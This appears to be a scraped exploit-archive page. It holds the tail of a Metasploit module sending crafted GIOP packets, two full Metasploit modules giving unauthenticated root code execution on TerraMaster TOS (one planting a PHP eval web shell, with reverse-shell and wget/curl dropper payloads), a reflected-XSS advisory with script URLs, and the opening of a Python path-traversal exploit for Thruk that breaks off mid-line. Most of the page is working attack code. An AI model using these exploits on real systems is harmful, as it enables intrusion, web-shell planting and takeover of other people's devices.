"\xbc\x0d\x22\x70\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x2c\x00\x00\x00\x00\x00\x01\x00\x20\x00\x00\x00\x03\x00\x01\x00\x20\x00\x01\x00\x01\x05\x01\x00" \<br /> "\x01\x00\x01\x01\x00\x00\x00\x00\x03\x00\x01\x01\x00\x00\x01\x01\x09\x05\x01\x00\x01")<br /> context_data << create_service_context("\x00\x00\x00", 15, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00")<br /> context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00")<br /> context_data << @service_context_2<br /><br /> packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data)<br /><br /> # To find the true message size:<br /> # 1. Subtract an extra 12 bytes for GIOP header.<br /> # 2. Then subtract length of the LENGTH_REPLACE_ME string.<br /> # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field.<br /> message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4<br /> packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N'))<br /><br /> print_status('3. Sending rebindAny request!')<br /> socket.put(packet)<br /> rebind_any_buf = socket.get<br /> disconnect<br /> print_good('Step 3 complete!')<br /><br /> reply_status_code = rebind_any_buf[16..19].unpack('N')&.dig(0)<br /> if reply_status_code != LOCATION_FORWARD<br /> fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!")<br /> end<br /><br /> start_off = 0x64 + lt + 0xc0 + datastore['RHOST'].length + # SendingContextRuntime<br /> 0xac + lt + # IOR ProfileHost ProfilePort<br /> 0x5d # ObjectKey Prefix<br /><br /> while rebind_any_buf[start_off] != 0x32<br /> if start_off > 0x2710<br /> break<br /> end<br /><br /> start_off += 1<br /> end<br /><br /> if start_off > 0x2710<br /> key3 = "\x32\x38\x39\x00"<br /> else<br /> key3 = rebind_any_buf[start_off...start_off + 4]<br /> end<br /><br /> wls_key_2.gsub!('{{key3}}', key3)<br /> wls_key_2.gsub!('{{key1}}', key1)<br /><br /> # Step 4 - rebind_any Request Again???<br /> socket = connect<br /> key_addr = wls_key_2<br /> packet = giop_rebind_any_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, stub_data, 4)<br /><br /> context_data = ''<br /> context_data << @service_context_0<br /> context_data << @service_context_1<br /> context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00")<br /> context_data << @service_context_2<br /><br /> packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data)<br /><br /> # To find the true message size:<br /> # 1. Subtract an extra 12 bytes for GIOP header.<br /> # 2. Then subtract length of the LENGTH_REPLACE_ME string.<br /> # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field.<br /> message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4<br /> packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N'))<br /><br /> print_status('4. Sending second rebindAny request!')<br /> socket.put(packet)<br /> rebind_any_buf_2 = socket.get<br /> disconnect<br /> print_good('Step 4 complete!')<br /><br /> reply_status_code = rebind_any_buf_2[16..19].unpack('N')&.dig(0)<br /> if reply_status_code != NO_EXCEPTION<br /> fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected NO_EXCEPTION!")<br /> end<br /><br /> # Step 5 - Send second GIOP LocateRequest packet<br /> print_status('5. Sending second GIOP LocateRequest packet')<br /> socket = connect<br /> socket.put(giop_locate_request_packet)<br /> locate_buf_two = socket.get<br /> disconnect<br /> print_good('Step 5 complete!')<br /><br /> reply_status_code = locate_buf_two[16..19].unpack('N')&.dig(0)<br /> if reply_status_code != OBJECT_FORWARD<br /> fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected OBJECT_FORWARD!")<br /> end<br /><br /> # Step 6 - Resolve packet #1 with wls_key_1<br /> key_addr = wls_key_1<br /> packet = goip_resolve_request_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, 4, true, 1)<br /><br /> context_data = ''<br /> context_data << @service_context_0<br /> context_data << @service_context_1<br /> context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00")<br /> context_data << @service_context_2<br /><br /> packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data)<br /><br /> # To find the true message size:<br /> # 1. Subtract an extra 12 bytes for GIOP header.<br /> # 2. Then subtract length of the LENGTH_REPLACE_ME string.<br /> # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field.<br /> message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4<br /> packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N'))<br /><br /> print_status('6. Sending resolve packet #1 with wls_key_1')<br /> socket = connect<br /> socket.put(packet)<br /> resolve_packet_wls_key_1 = socket.get<br /> disconnect<br /> print_good('Step 6 complete!')<br /><br /> reply_status_code = resolve_packet_wls_key_1[16..19].unpack('N')&.dig(0)<br /> if reply_status_code != LOCATION_FORWARD<br /> fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!")<br /> end<br /><br /> # Step 7 - Resolve packet #2 with wls_key_2<br /> key_addr = wls_key_2<br /> packet = goip_resolve_request_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, 4, true, 1)<br /><br /> context_data = ''<br /> context_data << @service_context_0<br /> context_data << @service_context_1<br /> context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00")<br /> context_data << @service_context_2<br /><br /> packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data)<br /><br /> # To find the true message size:<br /> # 1. Subtract an extra 12 bytes for GIOP header.<br /> # 2. Then subtract length of the LENGTH_REPLACE_ME string.<br /> # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field.<br /> message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4<br /> packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N'))<br /><br /> start_service<br /> start_http_service('ServerPort' => datastore['HTTP_SRVPORT'].to_i)<br /><br /> print_status('7. Sending resolve packet #2 with wls_key_2')<br /> socket = connect<br /> socket.put(packet)<br /> step_7_response = socket.get<br /> disconnect<br /> print_good('Step 7 complete!')<br /><br /> reply_status_code = step_7_response[16..19].unpack('N')&.dig(0)<br /> if reply_status_code != USER_EXCEPTION<br /> fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected USER_EXCEPTION!")<br /> end<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />require 'digest/md5'<br />require 'time'<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::CmdStager<br /> include Msf::Exploit::FileDropper<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'TerraMaster TOS 4.2.15 or lower - RCE chain from unauthenticated to root via session crafting.',<br /> 'Description' => %q{<br /> Terramaster chained exploit that performs session crafting to achieve escalated privileges that allows<br /> an attacker to access vulnerable code execution flaws. TOS versions 4.2.15 and below are affected.<br /> CVE-2021-45839 is exploited to obtain the first administrator's hash set up on the system as well as other<br /> information such as MAC address, by performing a request to the `/module/api.php?mobile/webNasIPS` endpoint.<br /> This information is used to craft an unauthenticated admin session using CVE-2021-45841 where an attacker<br /> can self-sign session cookies by knowing the target MAC address and the user password hash.<br /> Guest users (disabled by default) can be abused using a null/empty hash and allow an unauthenticated attacker<br /> to login as guest.<br /> Finally, CVE-2021-45837 is exploited to execute arbitrary commands as root by sending a specifically crafted<br /> input to vulnerable endpoint `/tos/index.php?app/del`.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor<br /> 'n0tme' # Discovery and POC<br /> ],<br /> 'References' => [<br /> ['CVE', '2021-45837'],<br /> ['CVE', '2021-45839'],<br /> ['CVE', '2021-45841'],<br /> ['URL', 'https://thatsn0tmy.site/posts/2021/12/how-to-summon-rces/'],<br /> ['PACKETSTORM', '165399'],<br /> ['URL', 'https://attackerkb.com/topics/8rNXrrjQNy/cve-2021-45837']<br /> ],<br /> 'DisclosureDate' => '2021-12-24',<br /> 'Platform' => ['unix', 'linux'],<br /> 'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86, ARCH_AARCH64],<br /> 'Privileged' => true,<br /> 'Targets' => [<br /> [<br /> 'Unix Command',<br /> {<br /> 'Platform' => 'unix',<br /> 'Arch' => ARCH_CMD,<br /> 'Type' => :unix_cmd,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'cmd/unix/reverse_bash'<br /> }<br /> }<br /> ],<br /> [<br /> 'Linux Dropper',<br /> {<br /> 'Platform' => 'linux',<br /> 'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],<br /> 'Type' => :linux_dropper,<br /> 'CmdStagerFlavor' => ['bourne', 'wget', 'curl'],<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'<br /> }<br /> }<br /> ]<br /> ],<br /> 'DefaultTarget' => 0,<br /> 'DefaultOptions' => {<br /> 'RPORT' => 8181,<br /> 'SSL' => false<br /> },<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]<br /> }<br /> )<br /> )<br /> register_options([<br /> OptString.new('TARGETURI', [true, 'Path to Terramaster Web console', '/'])<br /> ])<br /> end<br /><br /> def get_data<br /> # Initialise instance variable data to store the leaked data<br /> @data = {}<br /><br /> # Get the data by exploiting the LFI vulnerability through vulnerable endpoint `api.php?mobile/webNasIPS`.<br /> # CVE-2021-458439<br /> res = send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, 'module', 'api.php?mobile/webNasIPS'),<br /> 'headers' => {<br /> 'User-Agent' => 'TNAS',<br /> 'User-Device' => 'TNAS'<br /> }<br /> })<br /><br /> if res && res.code == 200 && res.body.include?('webNasIPS successful')<br /> # Parse the JSON response and get the data such as admin password hash and MAC address<br /> res_json = res.get_json_document<br /> unless res_json.blank?<br /> @data['password'] = res_json['data'].split('PWD:')[1].split("\n")[0].strip<br /> @data['mac'] = res_json['data'].split('mac":"')[1].split('"')[0].tr(':', '').strip<br /> @data['key'] = @data['mac'][6..11] # last three MAC address entries<br /> @data['timestamp'] = Time.new.to_i.to_s<br /> # derive signature<br /> @data['signature'] = tos_encrypt_str(@data['key'], @data['timestamp'])<br /> end<br /> end<br /> end<br /><br /> def tos_encrypt_str(key, str_to_encrypt)<br /> id = key + str_to_encrypt<br /> return Digest::MD5.hexdigest(id.encode('utf-8'))<br /> end<br /><br /> def get_headers<br /> {<br /> 'User-Agent' => 'TNAS',<br /> 'User-Device' => 'TNAS',<br /> 'Authorization' => @data['password'],<br /> 'Signature' => @data['signature'],<br /> 'Timestamp' => @data['timestamp']<br /> }<br /> end<br /><br /> def download_admin_users<br /> # Initialise instance variable admin_users to store the admin users from /etc/group<br /> @admin_users = []<br /><br /> # Download /etc/group information to find all the admin users belonging to the group admin.<br /> # Using endpoint module/api.php?mobile/fileDownload as user guest allows to download the file without authentication.<br /> # CVE-2021-45841<br /> res = send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, 'module', 'api.php?mobile/fileDownload'),<br /> 'ctype' => 'application/x-www-form-urlencoded',<br /> 'cookie' => "kod_name=guest; kod_token=#{tos_encrypt_str(@data['key'], '')}",<br /> 'headers' => get_headers,<br /> 'vars_post' => {<br /> 'path' => '/etc/group'<br /> }<br /> })<br /> # get the admin users from /etc/group<br /> if res && res.code == 200 && res.body.include?('admin')<br /> res.body.each_line do |line|<br /> next if line.empty?<br /><br /> field = line.split(':')<br /> next unless field[0] == 'admin'<br /><br /> @admin_users = field[3].strip.split(',')<br /> break<br /> end<br /> end<br /> end<br /><br /> def get_session<br /> # Use session crafting to iterate thru the list of admin users to gain a session.<br /> # We will send two request per admin user. First request is a dummy request to obtain the session-id.<br /> # This session-id will be used to send the second request that will execute the echo command with marker.<br /> # if the response contains the marker, then the session has been successfully established.<br /> # CVE-2021-45837<br /> session = false<br /> marker = Rex::Text.rand_text_alphanumeric(8..16)<br /> for admin in @admin_users<br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;echo${IFS}#{marker};%23"),<br /> 'ctype' => 'application/x-www-form-urlencoded',<br /> 'keep_cookies' => true,<br /> 'cookie' => "kod_name=#{admin}; kod_token=#{tos_encrypt_str(@data['key'], @data['password'])}",<br /> 'headers' => get_headers<br /> })<br /> if res && res.code == 302 && !res.body.include?(marker.to_s)<br /> # Send second request to establish a session and break from the loop if true.<br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;echo${IFS}#{marker};%23"),<br /> 'ctype' => 'application/x-www-form-urlencoded',<br /> 'keep_cookies' => true,<br /> 'headers' => get_headers<br /> })<br /> end<br /> next unless res && res.code == 200 && res.body.include?(marker.to_s)<br /><br /> session = true<br /> break<br /> end<br /> session<br /> end<br /><br /> def get_terramaster_info<br /> # get Terramaster CPU architecture (X64 or ARM64) and TOS version<br /> @terramaster = {}<br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'tos', 'index.php?user/login')<br /> })<br /><br /> if res && res.body && res.code == 200<br /> # get the version information from the request response like below:<br /> # <link href="./static/style/bootstrap.css?ver=TOS3_A1.0_4.2.07" rel="stylesheet"/><br /> return if res.body.match(/ver=.+?"/).nil?<br /><br /> version = res.body.match(/ver=.+?"/)[0]<br /> # check if architecture is ARM64 or X64<br /> if version.match(/_A/)<br /> @terramaster['cpu_arch'] = 'ARM64'<br /> elsif version.match(/_S/) || version.match(/_Q/)<br /> @terramaster['cpu_arch'] = 'X64'<br /> else<br /> @terramaster['cpu_arch'] = 'UNKNOWN'<br /> end<br /><br /> # strip TOS version number and remove trailing double quote.<br /> @terramaster['tos_version'] = version.split('.0_')[1].chop<br /> end<br /> end<br /><br /> def execute_command(cmd, _opts = {})<br /> # Execute payload using vulnerable endpoint `index.php?app/del&id=0&name=;<PAYLOAD>;%23`<br /> # CVE-2021-45837<br /> payload = CGI.escape(cmd)<br /> send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;#{payload};%23"),<br /> 'ctype' => 'application/x-www-form-urlencoded',<br /> 'keep_cookies' => true,<br /> 'headers' => get_headers<br /> })<br /> end<br /><br /> def check<br /> get_terramaster_info<br /> return CheckCode::Safe if @terramaster.empty?<br /><br /> if Rex::Version.new(@terramaster['tos_version']) <= Rex::Version.new('4.2.15')<br /> return CheckCode::Vulnerable("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.")<br /> end<br /><br /> CheckCode::Safe("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.")<br /> end<br /><br /> def exploit<br /> # get the leaked data<br /> get_data<br /> fail_with(Failure::BadConfig, 'Can not retrieve the leaked data.') if @data.empty?<br /><br /> download_admin_users<br /> fail_with(Failure::BadConfig, 'Can not retrieve the list of admin users.') if @admin_users.empty?<br /><br /> fail_with(Failure::NoAccess, 'Can not establish an admin session.') unless get_session<br /><br /> print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")<br /> case target['Type']<br /> when :unix_cmd<br /> execute_command(payload.encoded)<br /> when :linux_dropper<br /> # Don't check the response here since the server won't respond<br /> # if the payload is successfully executed.<br /> execute_cmdstager(linemax: 65536)<br /> end<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::CmdStager<br /> include Msf::Exploit::FileDropper<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'TerraMaster TOS 4.2.06 or lower - Unauthenticated Remote Code Execution',<br /> 'Description' => %q{<br /> This module exploits an unauthenticated remote code-execution vulnerability in TerraMaster TOS 4.2.06<br /> and lower via shell metacharacters in the Event parameter at vulnerable endpoint `include/makecvs.php`<br /> during CSV creation.<br /> Any unauthenticated user can therefore execute commands on the system under the same privileges as the<br /> web application, which typically runs under root at the TerraMaster Operating System.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor<br /> 'IHTeam' # Discovery<br /> ],<br /> 'References' => [<br /> ['CVE', '2020-35665'],<br /> ['CVE', '2020-28188'],<br /> ['PACKETSTORM', '160685'],<br /> ['PACKETSTORM', '160687'],<br /> ['URL', 'https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/'],<br /> ['URL', 'https://attackerkb.com/topics/lXY4yjOvwx/cve-2020-35665']<br /> ],<br /> 'DisclosureDate' => '2020-12-12',<br /> 'Platform' => ['unix', 'linux'],<br /> 'Arch' => [ARCH_CMD, ARCH_PHP, ARCH_X64, ARCH_X86, ARCH_AARCH64],<br /> 'Privileged' => false,<br /> 'Targets' => [<br /> [<br /> 'PHP',<br /> {<br /> 'Platform' => 'php',<br /> 'Arch' => ARCH_PHP,<br /> 'Type' => :php,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'php/meterpreter/reverse_tcp'<br /> }<br /> }<br /> ],<br /> [<br /> 'Unix Command',<br /> {<br /> 'Platform' => 'unix',<br /> 'Arch' => ARCH_CMD,<br /> 'Type' => :unix_cmd,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'cmd/unix/reverse_bash'<br /> }<br /> }<br /> ],<br /> [<br /> 'Linux Dropper',<br /> {<br /> 'Platform' => 'linux',<br /> 'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],<br /> 'Type' => :linux_dropper,<br /> 'CmdStagerFlavor' => ['printf', 'echo', 'bourne', 'wget', 'curl'],<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'<br /> }<br /> }<br /> ]<br /> ],<br /> 'DefaultTarget' => 0,<br /> 'DefaultOptions' => {<br /> 'RPORT' => 8181,<br /> 'SSL' => false<br /> },<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]<br /> }<br /> )<br /> )<br /> register_options([<br /> OptString.new('TARGETURI', [true, 'Path to Terramaster Web console', '/']),<br /> OptString.new('WEBSHELL', [false, 'Web shell name with extension .php. Name will be randomly generated if left unset.', nil]),<br /> OptEnum.new('COMMAND',<br /> [true, 'Use PHP command function', 'passthru', %w[passthru shell_exec system exec]], conditions: %w[TARGET != 0])<br /> ])<br /> end<br /><br /> def upload_webshell<br /> # randomize file name if option WEBSHELL is not set<br /> @webshell_name = (datastore['WEBSHELL'].blank? ? "#{Rex::Text.rand_text_alpha(8..16)}.php" : datastore['WEBSHELL'].to_s)<br /><br /> @post_param = Rex::Text.rand_text_alphanumeric(1..8)<br /> @get_param = Rex::Text.rand_text_alphanumeric(1..8)<br /><br /> # Upload PHP payload<br /> webshell = if target['Type'] == :php<br /> "http|echo \"<?php @eval(base64_decode(\\$_POST[\'#{@post_param}\']));?>\" > #{@webshell_name}||"<br /> else<br /> "http|echo \"<?=\\$_GET[\'#{@get_param}\'](base64_decode(\\$_POST[\'#{@post_param}\']));?>\" > #{@webshell_name}||"<br /> end<br /><br /> return send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'include', 'makecvs.php'),<br /> 'ctype' => 'application/x-www-form-urlencoded',<br /> 'vars_get' => {<br /> 'Event' => webshell.to_s<br /> }<br /> })<br /> end<br /><br /> def get_terramaster_info<br /> # get Terramaster CPU architecture (X64 or ARM64) and TOS version<br /> @terramaster = {}<br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'tos', 'index.php?user/login')<br /> })<br /><br /> if res && res.body && res.code == 200<br /> # get the version information from the request response like below:<br /> # <link href="./static/style/bootstrap.css?ver=TOS3_A1.0_4.2.07" rel="stylesheet"/><br /> return if res.body.match(/ver=.+?"/).nil?<br /><br /> version = res.body.match(/ver=.+?"/)[0]<br /> # check if architecture is ARM64 or X64<br /> if version.match(/_A/)<br /> @terramaster['cpu_arch'] = 'ARM64'<br /> elsif version.match(/_S/) || version.match(/_Q/)<br /> @terramaster['cpu_arch'] = 'X64'<br /> else<br /> @terramaster['cpu_arch'] = 'UNKNOWN'<br /> end<br /><br /> # strip TOS version number and remove trailing double quote.<br /> @terramaster['tos_version'] = version.split('.0_')[1].chop<br /> end<br /> end<br /><br /> def execute_php(cmd, _opts = {})<br /> payload = Base64.strict_encode64(cmd)<br /> send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, 'include', @webshell_name),<br /> 'ctype' => 'application/x-www-form-urlencoded',<br /> 'vars_post' => {<br /> @post_param => payload<br /> }<br /> })<br /> end<br /><br /> def execute_command(cmd, _opts = {})<br /> payload = Base64.strict_encode64(cmd)<br /> php_cmd_function = datastore['COMMAND']<br /> send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, 'include', @webshell_name),<br /> 'ctype' => 'application/x-www-form-urlencoded',<br /> 'vars_get' => {<br /> @get_param => php_cmd_function<br /> },<br /> 'vars_post' => {<br /> @post_param => payload<br /> }<br /> })<br /> end<br /><br /> def check<br /> get_terramaster_info<br /> return CheckCode::Safe if @terramaster.empty?<br /><br /> if Rex::Version.new(@terramaster['tos_version']) <= Rex::Version.new('4.2.06')<br /> return CheckCode::Vulnerable("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.")<br /> else<br /> return CheckCode::Safe("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.")<br /> end<br /> end<br /><br /> def exploit<br /> res = upload_webshell<br /> fail_with(Failure::UnexpectedReply, 'Web shell upload error.') if res.nil? || (res.code != 200)<br /> register_file_for_cleanup(@webshell_name.to_s)<br /><br /> print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")<br /> case target['Type']<br /> when :php<br /> execute_php(payload.encoded)<br /> when :unix_cmd<br /> execute_command(payload.encoded)<br /> when :linux_dropper<br /> # Don't check the response here since the server won't respond<br /> # if the payload is successfully executed.<br /> execute_cmdstager(linemax: 65536)<br /> end<br /> end<br />end<br /></code></pre>
<pre><code>┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />││ C r a C k E r ┌┘<br />┌┘ T H E C R A C K O F E T E R N A L M I G H T ││<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br /> ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐<br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ [ Vulnerability ] ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br />: Author : CraCkEr :<br />│ Website : https://www.codester.com/items/32650/ │<br />│ Vendor : Bwiresoft │<br />│ Software : Movierocket 1.0 │<br />│ Vuln Type: Reflected XSS │<br />│ Impact : Manipulate the content of the site │<br />│ │<br />│────────────────────────────────────────────────────────────────────────────────────────│<br />│ ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br />: :<br />│ Release Notes: │<br />│ ═════════════ │<br />│ The attacker can send to victim a link containing a malicious URL in an email or │<br />│ instant message can perform a wide variety of actions, such as stealing the victim's │<br />│ session token or login credentials │<br />│ │<br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br />Greets:<br /><br /> The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL <br /> <br /> CryptoJob (Twitter) twitter.com/0x0CryptoJob<br /> <br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ © CraCkEr 2023 ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br /><br />Path: /search_catalog<br /><br />GET parameter 'keywords' is vulnerable to RXSS<br /><br />https://website/search_catalog?keywords=sz83n<script>alert(1)</script>k8jqb<br /><br /><br />Path: /login<br /><br />GET parameter 'red' is vulnerable to RXSS<br /><br />https://website/login?red=bol85"><script>alert(1)</script>fdg21 <br /><br /><br />[-] Done<br /></code></pre>
<pre><code># Exploit Title: Path Traversal Vulnerability in Thruk Monitoring Web Interface ≤ 3.06<br /># Date: 08-Jun-2023<br /># Exploit Author: Galoget Latorre (@galoget)<br /># CVE: CVE-2023-34096 (Galoget Latorre)<br /># Vendor Homepage: https://thruk.org/<br /># Software Link: https://github.com/sni/Thruk/archive/refs/tags/v3.06.zip<br /># Software Link + Exploit + PoC (Backup): https://github.com/galoget/Thruk-CVE-2023-34096<br /># CVE Author Blog: https://galogetlatorre.blogspot.com/2023/06/cve-2023-34096-path-traversal-thruk.html<br /># GitHub Security Advisory: https://github.com/sni/Thruk/security/advisories/GHSA-vhqc-649h-994h<br /># Affected Versions: <= 3.06<br /># Language: Python 3.x<br /># Tested on:<br /># - Ubuntu 22.04.5 LTS 64-bit<br /># - Debian GNU/Linux 10 (buster) 64-bit<br /># - Kali GNU/Linux 2023.1 64-bit<br /># - CentOS GNU/Linux 8.5.2111 64-bit<br /><br /><br />#!/usr/bin/python3<br /># -*- coding:utf-8 -*-<br /><br />import sys<br />import warnings<br />import requests<br />from bs4 import BeautifulSoup<br />from termcolor import cprint<br /><br /><br /># Usage: python3 exploit.py <target.site><br /># Example: python3 exploit.py http://127.0.0.1/thruk/<br /><br /><br /># Disable warnings<br />warnings.filterwarnings('ignore')<br /><br /><br /># Set headers<br />headers = {<br /> "User-Agent": "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"<br />}<br /><br /><br />def banner():<br /> """<br /> Function to print the banner<br /> """<br /><br /> banner_text = """<br /> __ __ __ __ __ __ __ __ __ __ <br />/ \\ /|_ __ _) / \\ _) _) __ _) |__| / \\ (__\\ /__ <br />\\__ \\/ |__ /__ \\__/ /__ __) __) | \\__/ __/ \\__) <br /><br /> <br />Path Traversal Vulnerability in Thruk Monitoring Web Interface ≤ 3.06<br />Exploit & CVE Author: Galoget Latorre (@galoget)<br />LinkedIn: https://www.linkedin.com/in/galoget<br />"""<br /> print(banner_text)<br /><br /><br />def usage_instructions():<br /> """<br /> Function that validates the number of arguments.<br /> The application MUST have 2 arguments:<br /> - [0]: Name of the script<br /> - [1]: Target URL (Thruk Base URL)<br /> """<br /> if len(sys.argv) != 2:<br /> print("Usage: python3 exploit.py <target.site>")<br /> print("Example: python3 exploit.py http://127.0.0.1/thruk/")<br /> sys.exit(0)<br /><br /><br />def check_vulnerability(thruk_version):<br /> """<br /> Function to check if the recovered version is vulnerable to CVE-2023-34096.<br /> Prints additional information about the vulnerability.<br /> """<br /> try:<br /> if float(thruk_version[1:5]) <= 3.06:<br /> if float(thruk_version[4:].replace("-", ".")) < 6.2:<br /> cprint("[+] ", "green", attrs=['bold'], end = "")<br /> print("This version of Thruk is ", end = "")<br /> cprint("VULNERABLE ", "red", attrs=['bold'], end = "")<br /> print("to CVE-2023-34096!")<br /> print(" | CVE Author Blog: https://galogetlatorre.blogspot.com/2023/06/cve-2023-34096-path-traversal-thruk.html")<br /> print(" | GitHub Security Advisory: https://github.com/sni/Thruk/security/advisories/GHSA-vhqc-649h-994h")<br /> print(" | CVE MITRE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-34096")<br /> print(" | CVE NVD NIST: https://nvd.nist.gov/vuln/detail/CVE-2023-34096")<br /> print(" | Thruk Changelog: https://www.thruk.org/changelog.html")<br /> print(" | Fixed version: 3.06-2+")<br /> print("")<br /> return True<br /> else:<br /> cprint("[-] ", "red", attrs=['bold'], end = "")<br /> print("It looks like this version of Thruk is NOT VULNERABLE to CVE-2023-34096.")<br /> return False<br /> except:<br /> cprint("[-] ", "red", attrs=['bold'], end = "")<br /> print("There was an error parsing Thruk's version.\n")<br /> return False<br /><br /><br />def get_thruk_version():<br /> """<br /> Function to get Thruk's version via web scraping.<br /> It also verifies the title of the website to check if the target is a Thruk instance.<br /> """<br /> response = requests.get(target, headers=headers, allow_redirects=True, verify=False, timeout=10)<br /> html_soup = BeautifulSoup(response.text, "html.parser")<br /><br /> if "<title>Thruk Monitoring Webinterface</title>" not in response.text:<br /> cprint("[-] ", "red", attrs=['bold'], end = "")<br /> print("Verify if the URL is correct and 